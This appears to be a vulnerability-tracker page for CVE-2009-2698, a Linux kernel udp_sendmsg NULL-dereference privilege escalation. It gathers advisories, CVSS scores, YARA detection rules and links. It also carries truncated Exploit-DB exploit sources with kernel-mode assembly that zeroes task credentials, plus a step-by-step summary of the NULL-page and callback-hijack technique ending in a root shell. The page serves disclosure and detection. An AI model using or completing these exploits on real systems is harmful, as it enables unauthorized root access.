CVE-2009-2698
published 2009-08-27CVE-2009-2698: The udp_sendmsg function in the UDP implementation in (1) net/ipv4/udp.c and (2) net/ipv6/udp.c in the Linux kernel before 2.6.19 allows local users to gain…
PriorityP271high7.8CVSS 3.1
AVLACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
7.12%
93.5th percentile
The udp_sendmsg function in the UDP implementation in (1) net/ipv4/udp.c and (2) net/ipv6/udp.c in the Linux kernel before 2.6.19 allows local users to gain privileges or cause a denial of service (NULL pointer dereference and system crash) via vectors involving the MSG_MORE flag and a UDP socket.
Affected
25 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| fedoraproject | fedora | — | — |
| linux | linux_kernel | < 2.6.19 | 2.6.19 |
| redhat | enterprise_linux_desktop | — | — |
| redhat | enterprise_linux_desktop | — | — |
| redhat | enterprise_linux_eus | — | — |
| redhat | enterprise_linux_eus | — | — |
| redhat | enterprise_linux_server | — | — |
| redhat | enterprise_linux_server | — | — |
| redhat | enterprise_linux_server_aus | — | — |
| redhat | enterprise_linux_workstation | — | — |
| redhat | enterprise_linux_workstation | — | — |
| suse | linux_enterprise_desktop | — | — |
| suse | linux_enterprise_server | — | — |
| suse | linux_enterprise_server | — | — |
| vmware | esxi | — | — |
| vmware | esxi | — | — |
| vmware | vcenter_server | — | — |
| vmware | vmware_tools | — | — |
| vmware | vmware_vcenter_server | — | — |
| vmware | vmware_vsphere | — | — |
| vmware | vmware_workstation | — | — |
Detection & IOCsextracted from sources · hover to see the quote
yara↗
rule Linux_Exploit_CVE_2009_2698_12374e97 {
meta:
author = "Elastic Security"
id = "12374e97-385e-4b3a-9d50-39f35ad4f6dd"
fingerprint = "2c669220ac8909e2336bbf9c38489c8e32d573ab6c29fa1e2e0c1fe69f7441ed"
creation_date = "2021-01-12"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2009-2698"
reference_sample = "656fddc1bf4743a08a455628b6151076b81e604ff49c93d797fa49b1f7d09c2f"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { 74 64 6F 75 74 00 66 77 72 69 74 65 00 64 65 73 63 00 63 76 65 00 }
condition:
all of them
}bytes↗
74 64 6F 75 74 00 66 77 72 69 74 65 00 64 65 73 63 00 63 76 65 00
- →Exploit maps a page at virtual address 0x0 (NULL page) with PROT_READ|PROT_WRITE|PROT_EXEC using mmap(MAP_FIXED) or mprotect, then places shellcode/callback pointer there to achieve kernel code execution. ↗
- →Exploit writes a function pointer at offset 0x74 of the mmap'd NULL page to hijack the dst_entry->output callback, which is invoked in kernel context. ↗
- →Exploit uses AF_UNSPEC socket family with sa_data filled with 0x82 bytes as the destination address in the triggering sendto call. ↗
- →Privilege escalation is confirmed by checking getuid() after the exploit; if still non-zero, the exploit failed. Success results in execl('/bin/sh') spawning a root shell. ↗
- →YARA rule targets the exploit binary in both file and memory scan contexts on Linux x86, matching the byte string { 74 64 6F 75 74 00 66 77 72 69 74 65 00 64 65 73 63 00 63 76 65 00 }. ↗
- ·The vulnerability only affects Linux kernels before 2.6.19; patched or newer kernels are not affected. ↗
- ·Red Hat Enterprise MRG kernel versions were not affected by this issue. ↗
- ·The exploit (9542) requires the calling process to be non-root (uid != 0) to proceed; it checks uid at start and aborts if already root. ↗
- ·The exploit (9542) handles two personality cases: PER_SVR4 uses mprotect on address 0, while all other personalities use mmap MAP_FIXED at address 0 to map the NULL page. ↗
CVSS provenance
nvdv3.17.8HIGHCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.2HIGHAV:L/AC:L/Au:N/C:C/I:C/A:C
vulncheck7.8HIGH
vendor_redhat7.8HIGH
vendor_ubuntu4.4MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-x9j9-wxm6-8cvm: The udp_sendmsg function in the UDP implementation in (1) net/ipv4/udp
ghsa_unreviewed·2022-05-02
CVE-2009-2698 [HIGH] CWE-476 GHSA-x9j9-wxm6-8cvm: The udp_sendmsg function in the UDP implementation in (1) net/ipv4/udp
The udp_sendmsg function in the UDP implementation in (1) net/ipv4/udp.c and (2) net/ipv6/udp.c in the Linux kernel before 2.6.19 allows local users to gain privileges or cause a denial of service (NULL pointer dereference and system crash) via vectors involving the MSG_MORE flag and a UDP socket.
VulnCheck
Linux Kernel NULL Pointer Dereference
vulncheck·2009·CVSS 7.8
CVE-2009-2698 [HIGH] Linux Kernel NULL Pointer Dereference
Linux Kernel NULL Pointer Dereference
The udp_sendmsg function in the UDP implementation in (1) net/ipv4/udp.c and (2) net/ipv6/udp.c in the Linux kernel before 2.6.19 allows local users to gain privileges or cause a denial of service (NULL pointer dereference and system crash) via vectors involving the MSG_MORE flag and a UDP socket.
Affected: Linux Kernel
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://flare.io/learn/resources/blog/old-school-irc-new-victims-inside-the-newly-discovered-sshstalker-linux-botnet
VMware
VMware vCenter and ESX update release and vMA patch release address multiple security issues in third party components.
vendor_vmware·2009-11-20·CVSS 5.0
CVE-2007-2052 [MEDIUM] VMware vCenter and ESX update release and vMA patch release address multiple security issues in third party components.
VMSA-2009-0016: VMware vCenter and ESX update release and vMA patch release address multiple security issues in third party components.
a. JRE Security Update JRE update to version 1.5.0_20, which addresses multiple security issues that existed in earlier releases of JRE. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the following names to the security issues fixed in JRE 1.5.0_18: CVE-2009-1093, CVE-2009-1094, CVE-2009-1095, CVE-2009-1096, CVE-2009-1097, CVE-2009-1098, CVE-2009-1099, CVE-2009-1100, CVE-2009-1101, CVE-2009-1102, CVE-2009-1103, CVE-2009-1104, CVE-2009-1105, CVE-2009-1106, and CVE-2009-1107. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the following names to the security issues fixed in JRE 1.5.0_20: CVE-2009-
Ubuntu
Linux kernel vulnerabilities
vendor_ubuntu·2009-10-22·CVSS 4.4
CVE-2009-3238 [MEDIUM] Linux kernel vulnerabilities
Title: Linux kernel vulnerabilities
Summary: Linux kernel vulnerabilities
Solar Designer discovered that the z90crypt driver did not correctly
check capabilities. A local attacker could exploit this to shut down
the device, leading to a denial of service. Only affected Ubuntu 6.06.
(CVE-2009-1883)
Michael Buesch discovered that the SGI GRU driver did not correctly check
the length when setting options. A local attacker could exploit this
to write to the kernel stack, leading to root privilege escalation or
a denial of service. Only affected Ubuntu 8.10 and 9.04. (CVE-2009-2584)
It was discovered that SELinux did not fully implement the mmap_min_addr
restrictions. A local attacker could exploit this to allocate the
NULL memory page which could lead to further attacks against kernel
NULL
Red Hat
kernel: udp socket NULL ptr dereference
vendor_redhat·2009-08-24·CVSS 7.8
CVE-2009-2698 [HIGH] CWE-476 kernel: udp socket NULL ptr dereference
kernel: udp socket NULL ptr dereference
The udp_sendmsg function in the UDP implementation in (1) net/ipv4/udp.c and (2) net/ipv6/udp.c in the Linux kernel before 2.6.19 allows local users to gain privileges or cause a denial of service (NULL pointer dereference and system crash) via vectors involving the MSG_MORE flag and a UDP socket.
Statement: This issue did not affect the versions of Linux kernel as shipped with Red Hat Enterprise MRG.
YARA
Linux_Exploit_CVE_2009_2698_12374e97
yara·CVSS 7.8
CVE-2009-2698 [HIGH] Linux_Exploit_CVE_2009_2698_12374e97
rule Linux_Exploit_CVE_2009_2698_12374e97 {
meta:
author = "Elastic Security"
id = "12374e97-385e-4b3a-9d50-39f35ad4f6dd"
fingerprint = "2c669220ac8909e2336bbf9c38489c8e32d573ab6c29fa1e2e0c1fe69f7441ed"
creation_date = "2021-01-12"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2009-2698"
reference_sample = "656fddc1bf4743a08a455628b6151076b81e604ff49c93d797fa49b1f7d09c2f"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { 74 64 6F 75 74 00 66 77 72 69 74 65 00 64 65 73 63 00 63 76 65 00 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2009_2698_cc04dddd
yara·CVSS 7.8
CVE-2009-2698 [HIGH] Linux_Exploit_CVE_2009_2698_cc04dddd
rule Linux_Exploit_CVE_2009_2698_cc04dddd {
meta:
author = "Elastic Security"
id = "cc04dddd-91d0-4c5f-a0ac-01787da7f369"
fingerprint = "d3fdd66e486cb06bd63f6d8e471e66bc80990c4f0729eea16b47adc4cac80538"
creation_date = "2021-04-06"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2009-2698"
reference_sample = "502b73ea04095e8a7ec4e8d7cc306242b45850ad28690156754beac8cd8d7b2d"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { C4 10 89 45 F4 83 7D F4 FF 75 1F 83 EC 0C 68 }
condition:
all of them
}
Exploit-DB
Linux Kernel < 2.6.19 (x86/x64) - 'udp_sendmsg' Local Privilege Escalation (2)
exploitdb·2009-09-02·CVSS 7.8
CVE-2009-2698 [HIGH] Linux Kernel < 2.6.19 (x86/x64) - 'udp_sendmsg' Local Privilege Escalation (2)
Linux Kernel < 2.6.19 (x86/x64) - 'udp_sendmsg' Local Privilege Escalation (2)
---
/* second verse, same as the first
CVE-2009-2698 udp_sendmsg(), x86/x64
Cheers to Julien/Tavis for the bug, p0c73n1 for just throwing code at
NULL and finding it executed
This exploit is a bit more nuanced and thoughtful ;)
use ./therebel.sh for everything
At this moment, when each of us must fit an arrow to his bow and
enter the lists anew, to reconquer, within history and in spite of it,
that which he owns already, the thin yield of his fields, the brief
love of the earth, at this moment when at last a man is born, it is
time to forsake our age and its adolescent furies. The bow bends;
the wood complains. At the moment of supreme tension, there will
leap into flight an unswerving arrow, a shaft that is
Exploit-DB
Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3)
exploitdb·2009-09-02·CVSS 7.8
CVE-2009-2698 [HIGH] Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3)
Linux Kernel
#include
#include
#include
#include
#include
#include
#include
#include
/**
* this code will be called from NF_HOOK via (*output) callback in kernel mode
*/
void set_current_task_uids_gids_to_zero() {
asm("push %eax\n"
"movl $0xffffe000, %eax\n"
"andl %esp, %eax\n"
"movl (%eax), %eax\n"
"movl $0x0, 0x150(%eax)\n"
"movl $0x0, 0x154(%eax)\n"
"movl $0x0, 0x158(%eax)\n"
"movl $0x0, 0x15a(%eax)\n"
"movl $0x0, 0x160(%eax)\n"
"movl $0x0, 0x164(%eax)\n"
"movl $0x0, 0x168(%eax)\n"
"movl $0x0, 0x16a(%eax)\n"
"pop %eax\n");
}
int main(int argc, char **argv) {
int s;
struct msghdr header;
struct sockaddr_in sin;
char *rtable = NULL;
fprintf(stderr,
"hoagie_udp_sendmsg.c - linux root offset 0x74)
* so we map our rtable buffer at offset 0 and set output callback function
*
* struct dst_e
Exploit-DB
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)
exploitdb·2009-08-31·CVSS 7.8
CVE-2009-2698 [HIGH] Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)
Linux Kernel 2.6 .
**
*/
#include
#include
#include
#include
#include
#include
#include
unsigned int uid, gid;
void get_root_uid(unsigned *task)
{
unsigned *addr=task;
while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
addr++;
}
addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
return;
}
void exploit();
void kernel_code()
{
asm("exploit:\n"
"push %eax\n"
"movl $0xfffff000,%eax\n"
"andl %esp,%eax\n"
"pushl (%eax)\n"
"call get_root_uid\n"
"addl $4,%esp\n"
"popl %eax\n");
return;
}
void *kernel=kernel_code;
int main(int argc, char **argv)
{
int fd=0;
char buf[1024];
struct sockaddr x0x;
void *zero_page;
uid=getuid();
gid=getgid();
if(uid==0){
fprintf(stderr,"[-] check ur uid\n");
return -1;
}
if(personality(0xffffffff)==PER_SVR
CTF
vulnhub / kioptrix
ctf_writeups
vulnhub / kioptrix
# Kioptrix 1-5: Lessons Learned
> "The majority of vulnerabilities in the Linux kernel... have been released just recently" ([source]( https://forums.grsecurity.net/viewtopic.php?f=7&t=4476))
The Kioptrix VMs have a reputation for being excellent, albeit somewhat easy VMs with real practical vulnerabilities similar to those in the OSCP exam. This afternoon, I set myself a challenge to blast through all five as quickly as possible.
While the vulns in Kioptrix are now ancient and long-patched, who knows what kind of nasty vulns lurk in the kernel source today?
There are more than enough walkthroughs already available for these VMs so instead I'm just going to be listing some of my observations.
### 1
- Ancient exploit code dating back to 2002 can still be taken advantage of so long as y
Bugzilla
CVE-2009-2698 kernel: udp socket NULL ptr dereference
bugzilla·2009-08-18·CVSS 7.8
CVE-2009-2698 [HIGH] CVE-2009-2698 kernel: udp socket NULL ptr dereference
CVE-2009-2698 kernel: udp socket NULL ptr dereference
Tavis Ormandy and Julien Tinnes, Google Security Team reported that Kernels <= 2.6.18.8 are vulnerable to a NULL pointer dereference issue when using MSG_MORE on udp sockets.
Fixed upstream already by:
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=1e0c14f49d6b393179f423abbac47f85618d3d46
Acknowledgements:
Red Hat would like to thank Tavis Ormandy and Julien Tinnes of the Google
Security Team for responsibly reporting this flaw.
Discussion:
This issue has been addressed in following products:
Red Hat Enterprise Linux 5
Via RHSA-2009:1222 https://rhn.redhat.com/errata/RHSA-2009-1222.html
---
This issue has been addressed in following products:
Red Hat Enterprise Linux 4
Via RHSA-2009:1223 http
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=1e0c14f49d6b393179f423abbac47f85618d3d46http://lists.opensuse.org/opensuse-security-announce/2009-08/msg00008.htmlhttp://rhn.redhat.com/errata/RHSA-2009-1222.htmlhttp://rhn.redhat.com/errata/RHSA-2009-1223.htmlhttp://secunia.com/advisories/23073http://secunia.com/advisories/36430http://secunia.com/advisories/36510http://secunia.com/advisories/37105http://secunia.com/advisories/37298http://secunia.com/advisories/37471http://support.avaya.com/css/P8/documents/100067254http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.19http://www.mandriva.com/security/advisories?name=MDVSA-2011:051http://www.openwall.com/lists/oss-security/2009/08/25/1http://www.redhat.com/support/errata/RHSA-2009-1233.htmlhttp://www.securityfocus.com/archive/1/507985/100/0/threadedhttp://www.securityfocus.com/archive/1/512019/100/0/threadedhttp://www.securityfocus.com/bid/36108http://www.securitytracker.com/id?1022761http://www.ubuntu.com/usn/USN-852-1http://www.vmware.com/security/advisories/VMSA-2009-0016.htmlhttp://www.vupen.com/english/advisories/2009/3316https://bugzilla.redhat.com/show_bug.cgi?id=518034https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11514https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8557https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9142http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=1e0c14f49d6b393179f423abbac47f85618d3d46http://lists.opensuse.org/opensuse-security-announce/2009-08/msg00008.htmlhttp://rhn.redhat.com/errata/RHSA-2009-1222.htmlhttp://rhn.redhat.com/errata/RHSA-2009-1223.htmlhttp://secunia.com/advisories/23073http://secunia.com/advisories/36430http://secunia.com/advisories/36510http://secunia.com/advisories/37105http://secunia.com/advisories/37298http://secunia.com/advisories/37471http://support.avaya.com/css/P8/documents/100067254http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.19http://www.mandriva.com/security/advisories?name=MDVSA-2011:051http://www.openwall.com/lists/oss-security/2009/08/25/1http://www.redhat.com/support/errata/RHSA-2009-1233.htmlhttp://www.securityfocus.com/archive/1/507985/100/0/threadedhttp://www.securityfocus.com/archive/1/512019/100/0/threadedhttp://www.securityfocus.com/bid/36108http://www.securitytracker.com/id?1022761http://www.ubuntu.com/usn/USN-852-1http://www.vmware.com/security/advisories/VMSA-2009-0016.htmlhttp://www.vupen.com/english/advisories/2009/3316https://bugzilla.redhat.com/show_bug.cgi?id=518034https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11514https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8557https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9142
2009-08-27
Published
Exploited in the wild